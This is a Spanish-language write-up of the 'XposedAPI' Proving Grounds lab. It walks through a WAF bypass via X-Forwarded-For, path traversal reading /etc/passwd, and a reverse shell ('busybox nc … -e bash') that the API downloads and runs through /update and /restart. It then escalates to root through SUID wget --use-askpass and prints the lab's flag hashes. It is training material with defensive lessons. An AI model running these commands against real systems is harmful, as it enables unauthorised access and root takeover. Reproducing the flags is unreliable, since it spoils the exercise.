the_open_door
café
ESEN

XposedAPI

Proving Grounds PracticeMediaLinux192.168.211.134

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#api#rest#gunicorn#waf-bypass#x-forwarded-for#lfi#path-traversal#rce#suid#wget#gtfobins#oscp
TL;DR. XposedAPI publica en el 13337 una "Remote Software Management API" pensada solo para localhost. Un WAF filtra por host, pero se salta con la cabecera X-Forwarded-For: 127.0.0.1 (bypass de WAF con X-Forwarded-For). El endpoint /logs?file= sufre un path traversal que nos descubre al usuario válido clumsyadmin (LFI / path traversal); con él, /update descarga y /restart ejecuta un "actualizador" que es nuestra reverse shell. Para root, un wget con bit SUID y el truco --use-askpass de GTFOBins (abuso de binarios SUID).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos, y el segundo es un servicio web poco común:

ping -c 1 192.168.211.134
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.211.134
PORT      STATE SERVICE
22/tcp    open  ssh
13337/tcp open  http
nmap -p22,13337 -sCV 192.168.211.134 -oN targetedScan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
13337/tcp open  http    Gunicorn 20.0.4
|_http-title: Remote Software Management API

API - TCP 13337

La página raíz documenta la propia API y advierte, en rojo, que no debería estar expuesta ("This utility should not be exposed to external network. It is just for management on localhost"):

Documentacion de la Remote Software Management API con endpoints /version, /update y aviso de no exponer

Los endpoints son elocuentes:

  • GET /version: versión de la app.
  • GET /logs?file=: lee ficheros de log.
  • POST /update con {"user": "...", "url": "..."}: actualiza la app descargando un ejecutable Linux.
  • POST /restart con {"confirm": "true"}: reinicia la app para aplicar los cambios.

La propia documentación del /update es la que regala el vector: describe el formato exacto del JSON y para qué sirve cada campo, incluido el url del que se descarga el ejecutable:

Documentación de /update: método POST, Content-Type application/json y el cuerpo con los campos user y url; debajo /logs (GET, lee ficheros de log) y /restart

/update
Methods: POST
Updates the app using a linux executable. Content-Type: application/json
{"user":"<user requesting the update>", "url":"<url of the update to download>"}

/logs
Methods: GET
Read log files.

/restart
Methods: GET
To request the restart of the app.

Un primer intento con un user inventado deja claro que el campo se valida contra una lista de usuarios reales, y ahí nace la necesidad de encontrar uno:

curl -X POST http://192.168.211.134:13337/update -H 'Content-Type: application/json'   -d '{"user":"user", "url":"http://192.168.45.164/rev.sh"}'

El POST a /update con el usuario user devuelve Invalid username

Invalid username.

Explotación

Bypass del WAF y path traversal

Un GET /logs directo choca con un WAF que filtra por host:

curl -X GET http://192.168.211.134:13337/logs
WAF: Access Denied for this Host.

El servicio se cree en localhost, así que confía en la cabecera X-Forwarded-For. Poniéndola a 127.0.0.1 el WAF nos deja pasar (bypass de WAF con X-Forwarded-For). Entonces /logs pide un parámetro file, y ese parámetro es vulnerable a path traversal: leemos /etc/passwd y descubrimos un usuario del sistema, clumsyadmin (LFI / path traversal):

curl -X GET 'http://192.168.211.134:13337/logs?file=../../../../../../../etc/passwd' \
  -H 'X-Forwarded-For: 127.0.0.1' --path-as-is | tail -n 10

Con X-Forwarded-For 127.0.0.1 el path traversal lee /etc/passwd y revela el usuario clumsyadmin

clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh

RCE por el endpoint /update

/update descarga un "ejecutable Linux" desde la URL que le indiquemos, en nombre de un usuario válido. El user genérico era rechazado; usando clumsyadmin (el que acabamos de descubrir) la petición se acepta. Antes de disparar la shell, dejamos Penelope a la escucha en el 22:

penelope 22

Servimos un rev.sh con una reverse shell, lo referenciamos en /update y disparamos /restart:

# rev.sh
#!/bin/bash
busybox nc 192.168.45.164 22 -e bash
curl -X POST http://192.168.211.134:13337/update -H 'Content-Type: application/json' \
  -d '{"user":"clumsyadmin", "url":"http://192.168.45.164/rev.sh"}'
curl -X POST http://192.168.211.134:13337/restart -H 'Content-Type: application/json' \
  -d '{"confirm":"true"}'

/update descarga rev.sh como clumsyadmin y /restart lo ejecuta, devolviendo la shell

Update requested by clumsyadmin. Restart the software for changes to take effect.
Restart Successful.
(Penelope)> listeners add -p 22
[+] Got reverse shell from xposedapi~192.168.211.134-Linux-x86_64  Assigned SessionID <1>
clumsyadmin@xposedapi:~/webapp$ whoami
clumsyadmin

La shell corre como clumsyadmin.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario clumsyadmin

bcc30cb8744303bc925a2688ef0a34a0
clumsyadmin

Escalada de privilegios

SUID wget

Buscamos binarios SUID y aparece wget, que no lleva ese bit por defecto:

find / -perm -4000 2>/dev/null

find revela el SUID inusual /usr/bin/wget en xposedapi

/usr/bin/wget
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
...

wget figura en GTFOBins con un vector para SUID: la opción --use-askpass ejecuta el programa que le indiquemos para "pedir la contraseña", y al correr wget con el bit SUID ese programa hereda el UID efectivo de root. Preparamos un script que abra una shell con privilegios y lo pasamos por --use-askpass (abuso de binarios SUID):

echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' > /tmp/privesc
chmod +x /tmp/privesc
wget localhost --use-askpass=/tmp/privesc

wget SUID con --use-askpass ejecuta el script y whoami devuelve root

clumsyadmin@xposedapi:~$ wget localhost --use-askpass=/tmp/privesc
# whoami
root

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root

fd11262a3d11edfa4de961e486efe22b
root

Cadena de ataque

API (13337)  --  Remote Software Management API (Gunicorn)
        │  WAF filtra por host -> X-Forwarded-For: 127.0.0.1
        │  /logs?file= path traversal -> /etc/passwd -> usuario clumsyadmin
        │  /update (user=clumsyadmin, url=rev.sh) + /restart -> reverse shell
        ▼
clumsyadmin  (local.txt)
        │  SUID wget -> --use-askpass=/tmp/privesc
        ▼
root  (proof.txt)

Lecciones aprendidas

  • No confíes en X-Forwarded-For para autorizar. Un WAF que valida el "host de origen" mirando una cabecera que el cliente controla no protege nada: basta ponerla a 127.0.0.1. El control de acceso debe hacerse en la capa de red o con la IP real de la conexión.
  • Un parámetro file sin sanear es LFI. El path traversal de /logs?file= permitió leer /etc/passwd y, con él, un nombre de usuario válido que desbloqueó el resto de la API.
  • Una API que "actualiza" descargando y ejecutando es RCE por diseño. /update + /restart corría un binario arbitrario del atacante. Descargar y ejecutar código remoto nunca debe exponerse sin autenticación fuerte.
  • wget con SUID es root. GTFOBins documenta --use-askpass (y otros vectores) para wget. Ningún binario de red necesita el bit SUID; revísalos con find / -perm -4000.
Cheatsheet de comandos 7 comandos

Repaso rápido